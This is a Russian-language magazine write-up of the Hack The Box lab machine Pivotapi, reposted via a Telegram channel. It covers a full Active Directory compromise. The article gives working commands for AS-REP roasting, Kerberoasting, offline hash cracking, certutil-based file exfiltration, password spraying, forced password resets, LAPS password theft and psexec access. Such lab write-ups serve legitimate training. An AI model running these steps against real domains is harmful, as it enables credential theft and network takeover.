Хакер - HTB Pivotapi. Большой пентест Active Directory
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа. ASRep Roasting
- Точка опоры
- Конвертация MSG
- Анализ приложения, использующего вызов CMD
- Анализ приложения со скрытыми функциями
- Выполнение команд через MS SQL Server
- Продвижение
- Первый пользователь — svc_mssql и техника runas
- Второй пользователь — 3v4Si0N и взлом KeePass
- Третий пользователь — Dr.Zaiuss и атака Kerberoasting
- Четвертый пользователь — superfume и password spraying
- Пятый пользователь — jari и декомпиляция .NET
- Шестой пользователь — gibdeon
- Локальное повышение привилегий
- LAPS
Сегодня мы разберем «безумную» по сложности машину с Hack The Box. Она называется Pivotapi и посвящена пентесту Active Directory. Нам предстоит заняться OSINT, провести атаку AS-Rep Roasting, декомпилировать приложение на .NET, получить точку опоры через эксфильтрацию данных из Microsoft SQL, взломать базу KeePass, проэксплуатировать LAPS для повышения привилегий и поюзать BloodHound. Программа очень плотная, начинаем немедля!
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.240 pivotapi.htb
И сканируем порты.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли много открытых портов, давай пройдемся по порядку:
- 21 — служба FTP (доступен анонимный вход);
- 22 — служба SSH;
- 53 — служба DNS;
- 88 — служба авторизации Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC);
- 139 — служба имен NetBIOS;
- 389, 636, 3268, 3269 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 — служба удаленного вызова процедур (Microsoft RPC над HTTPS);
- 1433 — Microsoft SQL Server 2019;
- 9383 — служба шлюзов управления Active Directory.
В итоге мы получаем очень важную информацию. Во‑первых, мы можем работать со службой FTP без авторизации, а во‑вторых, SQL Server дал нам имена домена (LICORDEBELLOTA) и текущей машины (PIVOTAPI).
Давай скачаем все файлы с FTP-сервера для дальнейшего анализа. Сделаем это с помощью wget:
wget ftp://pivotapi.htb/*
В документах ничего важного для продвижения не нашлось, но тема интересная — они описывают способы эксплуатации различных уязвимостей. Но, как отмечается в любом курсе OSINT (разведка на основе открытых источников), если мы смогли получить какие‑либо документы, нас могут заинтересовать метаданные, а именно атрибуты «создатель» и «владелец». Из них иногда можно узнать имена, подходящие в качестве логинов. Смотреть эти данные можно разными методами, я воспользуюсь exiftool (устанавливается командой sudo apt install exiftool).

Создав простой конвейер на Bash, получим из всех документов поля Creator и Author.
exiftool * | grep "Creator\|Author" | awk '{print $3}'

Откинув сомнительные записи, мы можем составить список из пяти возможных имен пользователей: saif, byron, cairo, Kaorz, alex.
ТОЧКА ВХОДА. ASREP ROASTING
Так как на хосте работает Kerberos, мы можем проверить, существует ли какая‑то учетная запись. В этом нам поможет атака ASRep Roasting. Смысл ее в том, что мы посылаем на сервер аутентификации анонимный запрос для предоставления определенному пользователю доступа к какой‑либо услуге. Сервер в ответ:
- предоставляет хеш;
- отвечает, что у данного пользователя не выставлен флаг
UAF Don't Require PreAuth; - говорит, что такого пользователя нет в базе Kerberos.
Выполнить атаку мы можем с помощью скрипта GetNPUsers, входящего в состав пакета скриптов impacket. Задаем скрипту следующие параметры: контроллер домена (-dc-ip), способ аутентификации Kerberos (-k), опция «без пароля» (-no-pass), список пользователей (-usersfile) и целевой хост в формате домен/хост.
GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -k -usersfile users.txt LICORDEBELLOTA/pivotapi.htb

Нам говорят, что, кроме пользователя Kaorz, в базе Kerberos больше никого нет, причем для учетной записи Kaorz сервер аутентификации вернул нам хеш! Давай разберемся, что это за хеши и почему их раздают кому попало.
Дело в том, что, когда клиент посылает сообщение c идентификатором пользователя на сервер аутентификации и запрашивает доступ к услуге для какого‑то пользователя, сервер аутентификации смотрит, есть ли пользователь в базе Kerberos, после чего проверяет его учетные данные. Если учетные данные неверны, сервер отвечает сообщением UAF Don’t Require PreAuth.
Но есть одно ограничение: у учетной записи пользователя может быть активирован флаг DONT_REQ_PREAUTH, который означает, что для данной учетной записи не требуется предварительная проверка подлинности Kerberos. Для этого пользователя учетные данные не проверяются и сервер аутентификации генерирует секретный ключ, хешируя пароль пользователя, найденный в базе данных. Получается, мы можем пробрутить хеш и узнать пароль пользователя!
Брутить хеш будем по словарю программой hashcat. При запуске нам нужно передать номер типа хеша (параметр -m), поэтому сначала узнаем его, запросив справку и отфильтровав только нужный нам тип.
hashcat --example | grep krb5asrep -A2 -B2

Искомый номер — 18200. Теперь запускаем перебор, при этом в параметрах указываем перебор по словарю (-a 0), тип хеша krb5asrep (-m 18200`), файл с хешем и словарь.
hashcat -a 0 -m 18200 hash.krb5asrep ~/wordlists/rockyou.txt

Очень быстро находим искомый пароль учетной записи Kaorz. Так как у нас появились учетные данные, нужно попробовать с ними подключиться ко всем доступным ресурсам. FTP учетных данных не требует, поэтому проверим SMB. Для этого я обычно использую утилиту smbmap.
smbmap -u Kaorz -p Roper4155 -H 10.10.10.240

В выводе получим список доступных ресурсов SMB и разрешения для каждого. Чтобы долго не ходить по директориям и не искать интересные файлы, есть удобная возможность вывести все содержимое ресурсов рекурсивно. Для этого в smbmap нужно указать опцию -R. Пролистав список, обращаем внимание на каталог HelpDesk, который содержит исполняемый файл и два файла msg, то есть какие‑то сообщения.
smbmap -u Kaorz -p Roper4155 -H 10.10.10.240 -R

Чтобы заполучить файлы, можем запустить любой клиент SMB. Я буду использовать smbclient, поскольку он тоже входит в набор impacket.
smbclient.py LicorDeBellota/Kaorz:Roper4155@10.10.10.240
use NETLOGON
cd HelpDesk
get Restart-OracleService.exe
get Server MSSQL.msg
get WinRM Service.msg
exit

ТОЧКА ОПОРЫ
Конвертация MSG
Файл .msg содержит электронное письмо в формате Microsoft Outlook и включает данные отправителя и получателя, тему и текст письма. Также в виде файла .msg может быть сохранена информация о встрече или ином событии из календаря Outlook, данные контакта из адресной книги, сведения о задаче. Его можно конвертировать в обычный текстовый формат с помощью утилиты msgconvert. Но сначала ее следует установить.
sudo apt install libemail-outlook-message-perl libemail-sender-perl
msgconvert Server\ MSSQL.msg
msgconvert WinRM\ Service.msg


В первом сообщении говорится, что в 2010-е годы была установлена база Oracle, но в 2020 году решили перейти на MS SQL. При этом найденное приложение Reset-Service.exe было создано для рестарта службы Oracle. Что здесь очень важно — это функция логина, то есть приложение работает с учетными данными.
Во втором сообщении упоминается блокировка службы WinRM и исходящего трафика по протоколам TCP, UDP и ICMP.
Анализ приложения, использующего вызов CMD
Перейдем к анализу третьего файла — исполняемого. Откроем его в любом дизассемблере (я использую IDA Pro) и первым делом глянем список импортируемых функций. Это позволит нам составить первое мнение об этой программе и примерно понять, для чего она нужна.


Обратим внимание на функцию ShellExecuteEx, которая должна выполнять команды в командной строке. Еще здесь много функций для работы с файлами (DeleteFile, CreateFile, GetTempPathW и прочие). Чтобы наглядно отследить работу с файлами и запуск команд, активируем Process Monitor. После запуска создадим фильтр, который будет отслеживать только наш целевой процесс.

Когда все будет готово, запустим исполняемый файл и просмотрим вывод Process Monitor.

В событиях мы видим создание файлов .tmp и запись (скорее всего, копирование) скрипта .bat. Далее создается процесс командного интерпретатора cmd.exe. А раз он запускается, то мы можем воспользоваться CMDWatcher. Эта утилита будет приостанавливать процесс и показывать аргументы при запуске CMD в любых процессах. Запустим CMDWatcher, а потом анализируемое приложение. Мы увидим, как запускается приложение, а затем — как активируется сценарий bat.


Пройдем в директорию с запускаемым скриптом и увидим в ней сам скрипт и файл с расширением tmp.

Заглянем в скрипт. В начале видим проверку на запуск от имени определенного пользователя. Сразу сохраняем себе его имя — пригодится! Затем данные записываются в файл C:\programdata\oracle.txt. Кодировка напоминает Base64.

После записи создается еще один файл — C:\programdata\monta.ps1, он содержит код на PowerShell. Этот код считывает данные из файла C:\programdata\oracle.txt, декодирует их из Base64 и записывает в C:\programdata\restart-service.exe. Затем удаляются и файл с данными Base64, и скрипт на PowerShell и запускается новосозданный исполняемый файл restart-service.exe. После выполнения он удаляется.

Давай получим этот исполняемый файл для дальнейшего анализа. Для этого немного модернизируем наш батник: в начале скрипта уберем проверку пользователей, а в конце — любые удаления файлов (команда del), уберем также запуск создающегося исполняемого файла.


Запустим измененный скрипт, после чего проверим каталог C:\programdata, там нас будет ждать файл с данными, скрипт на PowerShell и целевая программа.

Анализ приложения со скрытыми функциями
Исполняемый файл открываем в IDA Pro, чтобы посмотреть импортируемые функции. Но там не было ничего интересного, а для статического анализа файл великоват. Именно по этой причине я решил использовать приложение API Monitor. Оно может отображать все вызовы API-функций вместе с передаваемыми в них аргументами.
После запуска API Monitor нужно указать целевой исполняемый файл, для чего выбираем Monitor New Process. В разделе справа увидим все вызванные приложением функции.



Часто вызывается GetProcAddress. Дело в том, что DLL может загружаться приложением не только статически (при запуске), но и динамически (во время выполнения) с помощью функции LoadLibrary. А для получения адреса функции в загруженной DLL как раз используется функция GetProcAddress, которая в качестве параметра получает имя импортируемой функции. Эта техника усложняет статический анализ, а именно скрывает важные функции из таблицы импорта.
Давай узнаем, какие функции хотел спрятать разработчик. Для этого необходимо установить фильтр, чтобы в выводе присутствовали только функции GetProcAddress. В контекстном меню выбираем Include → API Name.


Сразу видим множество функций для работы с реестром, но это пока ничего не говорит. Чтобы сложить целостную картину, просмотрим абсолютно все загружаемые функции (это займет 5–10 минут). Во время анализа останавливаемся на CreateProcessWithLogonW. Это важная функция!

Она создает новый процесс и его первичный главный поток. Новый процесс затем запускает заданный исполняемый файл в контексте системы безопасности определенного пользователя. Дело в том, что эта функция принимает учетные данные пользователя в качестве аргументов. Давай найдем ее вызов, чтобы получить эти параметры. Для этого выбираем в окне Display пункт Add Filter, а затем указываем условие API Name is CreateProcessWithLogonW.


Обрати внимание на параметры lpUsername и lpPassword, где содержатся имя пользователя и его пароль. Так как это учетные данные для сервера базы данных, попробуем на нем и авторизоваться. Увы, моя первая попытка зайти как svc_oracle:#oracle_s3rV1c3!2010 провалилась — сервер ответил, что имя пользователя или пароль неверные.
Выполнение команд через MS SQL Server
Наша находка тем не менее небесполезна! Изучим эти логин и пароль внимательнее. Часть oracle — это используемое ПО, а 2010 — год установки. По аналогии с данными для уже отключенной службы Oracle сделаем учетные данные для MS SQL:
- пользователь по умолчанию —
sa; - пароль складывается по шаблону из используемой технологии и года установки (которые мы узнали из сообщения):
#mssql_s3rV1c3!2020.
Для подключения используем mssqlclient из пакета скриптов impacket.
impacket-mssqlclient sa@pivotapi.htb

После подключения мы можем работать из командной строки, для чего используем функцию xp_cmdshell.

ПРОДВИЖЕНИЕ
Первый пользователь — svc_mssql и техника runas
Первым делом получим более удобную оболочку, которая к тому же будет иметь функцию загрузки файлов — mssql_shell. В самом начале скрипта нам нужно установить свои параметры, такие как логин, пароль и адрес хоста.

Выполним код и получим уже более удобную оболочку.

Но, попробовав загрузить любой файл, получаем ошибку.

Из лога мы видим пояснение, что ошибка происходит в строке 52. Снова открываем исходный код и меняем позицию, отвечающую за кодирование Base64, подключив нужную библиотеку.
# Исходная строка
b64enc_data = b"".join(base64.encodestring(data).split()).decode()
# Измененный код
b64enc_data = b"".join(base64.b64encode(data).split()).decode()

Заново подключимся к хосту и повторим загрузку файла командой UPLOAD. В этот раз она пройдет успешно.

На хосте обнаружим безумное количество пользователей — аж глаза разбегаются! Но среди них есть svc_mssql, пароль которого нам известен. Однако его домашняя директория нам недоступна, так как мы работаем не в его контексте.

Для выполнения команд в контексте другого пользователя можно использовать кастомные программы типа runas. К примеру, эту реализацию программы на C#, которая запускается из PowerShell.
Загрузим этот скрипт на удаленный хост и выполним с помощью PowerShell. В качестве параметров передаем домен, логин и пароль, а также выполняемую команду — в нашем случае получение списка файлов в домашней директории пользователя.
powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'dir C:\Users\svc_mssql\Desktop'"

Команда выполнена успешно, а мы получили путь дальнейшего движения.
Второй пользователь — 3v4Si0N и взлом KeePass
В текстовом файле сказано, что нам нужно перейти с MS SQL на SSH. Второй файл представляет собой базу хранилища паролей KeePass, поэтому нам нужно перенести его на локальный хост и попробовать вскрыть. Для эксфильтрации данных закодируем файл в Base64 с помощью certutil, а потом скопируем полученный текст и декодируем уже на локальном хосте.
# Удаленный хост
powershell -c ". .\Invoke-RunasCs.ps1 ; Invoke-RunasCs -Username svc_mssql -Domain LicorDeBellota.htb -Password '#mssql_s3rV1c3!2020' -Command 'certutil -encode C:\Users\svc_mssql\Desktop\credentials.kdbx C:\Temp\c.txt'"
# Локальный хост
cat creds.kdbx.b64 | base64 -d > credentials.kdbx

Чтобы открыть этот файл, нам нужно знать пароль, хеш которого есть в файле зашифрованной базы. Если ты работаешь в специализированном дистрибутиве вроде Kali Linux, то у тебя уже есть под рукой набор скриптов для извлечения хешей паролей из файлов разных форматов.
/usr/sbin/keepass2john credentials.kdbx

А теперь поместим этот хеш в файл и переберем его с помощью John the Ripper.
john --wordlist=../tools/rockyou.txt kdbx.hash

Далее, если у тебя есть KeePass (а если нет, то ставь его командой apt install keepassx), открывай файл и ищи там пароль пользователя 3v4Si0n.


Спреим найденный пароль для всех пользователей по протоколам SSH и SMB с помощью crackmapexec. Пароль подошел как к SSH, так и к SMB, поэтому авторизуемся и забираем первый флаг.
crackmapexec smb pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success

crackmapexec ssh pivotapi.htb -u users.txt -p 'Gu4nCh3C4NaRi0N!23' --continue-on-success


Третий пользователь — Dr.Zaiuss и атака Kerberoasting
Куда двигаться дальше? Инструменты вроде WinPEAS и PowerUp ничего не дали, значит, нужна более продвинутая разведка, в которой не обойдется без использования очень крутой программы — BloodHound. Она использует теорию графов для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко найти очень сложные пути атаки, которые иначе было бы невозможно быстро идентифицировать.
BloodHound
Изначально саму нагрузку, реализованную на PowerShell или C#, нужно было запускать на целевом хосте. Но есть и версия на Python, которую можно использовать прямо с Linux. Скачаем ее с GitHub и установим:
git clone https://github.com/fox-it/BloodHound.py.git
cd BloodHound.py
python3 setup.py install
А теперь соберем информацию с целевого хоста, благо это не займет много времени. В параметрах указываем учетные данные для подключения, адрес хоста и тип собираемой информации — нам нужна вся (параметр -c, значение all).
bloodhound-python -d LicorDeBellota.htb -u 3v4Si0N -p 'Gu4nCh3C4NaRi0N!23' -gc pivotapi.licordebellota.htb -c all -ns 10.10.10.240

В логах видим, сколько доменов, лесов и компьютеров найдено, сколько пользователей и групп получено. В результате работы BloodHound в текущей директории появится несколько файлов. Для работы с ними нужно установить СУБД Neo4j и графическую оснастку bloodhound, которая будет рисовать графы связей.
sudo apt install neo4j bloodhound
Запустим установленную СУБД командой sudo neo4j console.

После сообщения об успешном старте зайдем на http://localhost:7474/ через браузер. Нам сразу предложат установить пароль. Делаем это, запускаем BloodHound (команда bloodhound в командной строке) и авторизуемся с только что установленным паролем. Когда откроется пустое окошко, закидываем в него файлы, полученные в результате работы bloodhound-python. А затем в графе поиска указываем группу пользователей. На экране будут отображены все пользователи из этой группы.

Найдем в этом списке всех пользователей, контроль над которыми мы уже имеем: Kaorz, svc_mssql, 3v4Si0N. После выбора этого пользователя в контекстном меню помечаем его как уже подконтрольного — Mark User as Owned. На иконке пользователя должен появиться череп. Затем пройдем в графу аналитики и попросим BloodHound найти путь продвижения к другим пользователям от уже взломанных — опция Shortest Path from Owned Principals. Так мы получим маршрут от пользователя 3v4Si0N.


Мы видим, что объект 3V4SI0N имеет право GenericAll на объект DR.ZAIUSS. Эта привилегия означает полный контроль одного объекта над другим, что позволяет манипулировать свойствами подконтрольного объекта. Два популярных варианта в этом случае — атака Kerberoasting или смена пароля целевой учетной записи. Мы пойдем по первому пути.
Атака Kerberoasting
Эта атака возможна потому, что мы можем установить объекту целевой учетной записи SPN-имя. Реализация протокола Kerberos в Windows использует имена участников службы (SPN) для определения того, какую учетную запись задействовать для шифрования билета службы. В Active Directory существует два варианта SPN: SPN на основе хоста и произвольные SPN. Первый вариант SPN связан с учетной записью компьютера домена, а второй обычно (но не всегда) — с учеткой пользователя домена.
Проще говоря, в случае запроса билета он будет зашифрован паролем учетной записи, SPN которой было предоставлено. А мы можем установить SPN для этой учетной записи, тем самым вынудив шифровать билет паролем учетной записи Dr.Zaiuss. Затем мы его просто пробрутим.
Чтобы удобнее манипулировать свойствами объектов Active Directory, загрузим на хост PowerView с помощью scp.
scp PowerView.ps1 '3v4Si0N@pivotapi.htb:C:\Users\3v4Si0N\Documents'
А затем назначим для подконтрольной учетной записи любое SPN, к примеру nonexistent/RALF.
powershell -c ". .\PowerView.ps1; Set-DomainObject -Identity Dr.Zaiuss -SET @{serviceprincipalname='nonexistent/RALF'}"
Проверить установленное SPN можно следующей командой. Она запросит все SPN из домена.
powershell -c ". .\PowerView.ps1; Get-NetUser -SPN | select samaccountname,serviceprincipalname"
SPN установлено, и пришло время получить билет. Я это сделаю удаленно с помощью пакета скриптов impacket. При подключении требуются учетные данные пользователя домена.
GetUserSPNs.py -request -dc-ip pivotapi.htb LicorDeBellota.htb/3v4Si0N

Данный билет легко брутится с помощью hashcat, для этого нужно лишь указать режим 13100 (параметр -m).
hashcat -a 0 -m 13100 ./kerb.hash ../tools/rockyou.txt

Так мы берем под контроль еще одного пользователя. Не забываем отметить это в BloodHound.
Четвертый пользователь — superfume и password spraying
Снова применяем найденный пароль для всех пользователей. При переборе SSH ничего найти не удалось, а вот в случае с SMB пароль подошел даже к двум пользователям!
crackmapexec smb pivotapi.htb -u users.txt -p 'qwe123QWE!@#' --continue-on-success

Осталось только понять, как авторизоваться от лица этого пользователя, ведь к SSH пароль не подошел. Однако пользователь является членом группы WinRM, о чем нам говорит граф связей BloodHound.

Нахождение в этой группе позволяет нам получить управление через PSSession прямо с удаленной машины.
$pass = ConvertTo-SecureString 'qwe123QWE!@#' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('superfume', $pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate
Enter-PSSession $session

Пятый пользователь — jari и декомпиляция .NET
Среди групп пользователя также есть и группа Developers. В корне диска C: есть директория с тем же названием, доступная только этой группе. Там лежат каталоги двух пользователей: superfume и jari. В своем мы ничего не находим, а вот у другого пользователя есть исполняемый файл, скорее всего написанный на C#. Сразу просмотрим этот код, вдруг найдем еще какие‑нибудь учетные данные.


Мы все же находим место, где мог бы быть пароль. Но его там нет. Но возможно, это прототип, а не финальное приложение. К тому же программы на C# очень легко декомпилируются, поэтому не будем упускать такую возможность. Для декомпиляции и анализа советую использовать dnSpy. Я перешел на виртуальную машину Windows, запустил dnSpy и загрузил в нее бинарный файл. В самом начале программы находим какую‑то строку.

Вряд ли это пароль, но все равно сохраним. Сразу за этой строкой расположен массив данных, который подлежит расшифровке по алгоритму RC4. И у нас есть возможность просмотреть строку после того, как процесс будет закончен. Для этого устанавливаем точку останова на строке с функцией Decrypt и запускаем отладку приложения.

Перешагиваем через эту функцию и в таблице локальных переменных получаем расшифрованный массив.

Скопируем его и используем код на Python, чтобы представить числа в виде символов.

Мы получаем какую‑то строку. Снова запустим спреиться найденный пароль.
crackmapexec smb pivotapi.htb -u users.txt -p 'Cos@Chung@!RPG' --continue-on-success

И, как и ожидалось, захватим пользователя jary. Для получения управления получим сессию PowerShell уже знакомым нам способом.
$pass = ConvertTo-SecureString 'Cos@Chung@!RPG' -AsPlainText -Force
$cred = new-object System.Management.Automation.PSCredential('jari', $pass)
$session = New-PSSession -ComputerName 127.0.0.1 -Credential $cred -Authentication Negotiate
Enter-PSSession $session

Шестой пользователь — gibdeon
После получения контроля над новым пользователем не забываем отметить наше достижение в BloodHound.
После перестроения графа обнаружим новый путь к захвату еще одного пользователя. Это возможно, потому что у нас есть право на сброс и изменение пароля (ForceChangePassword) пользователя gibdeon.

Давай изменим свойство AccountPassword объекта GIBDEON, используя PowerView. В качестве пароля установим Password123!.
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity GIBDEON -AccountPassword $UserPassword
После изменения пароля проверим его для служб SSH и SMB.

Мы можем выполнять команды от имени текущего пользователя.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Захватили нового пользователя — отметили это в BloodHound и перестроили граф.

На этот раз BloodHound построил маршрут к контексту с высокими привилегиями за счет пароля LAPS. Группа, в которой мы находимся, имеет привилегии на управление группой LAPS READ. Добавим себя в эту группу.
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('LicorDeBellota.htb\GIBDEON', $SecPassword)
Add-DomainGroupMember -Identity 'Laps Read' -Members 'Gibdeon' -Credential $Cred
И сразу проверим членов этой группы.
Get-DomainGroupMember -Identity 'Laps Read'

Как видишь, наш пользователь был добавлен в целевую группу.
LAPS
LAPS (Local Administrator Password Solution) позволяет централизованно управлять паролями администраторов на всех компьютерах домена и хранить информацию о пароле и дате его смены непосредственно в объектах типа Computer в Active Directory. И наша новая группа дает нам возможность прочитать этот пароль администратора.
Get-DomainObject pivotapi -Credential $Cred -Properties "ms-mcs-AdmPwd",name

Мы получили пароль локального админа и используем psexec, чтобы окончательно захватить хост.
psexec.py administrador@pivotapi.htb

Мы наконец‑то покорили эту машину!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei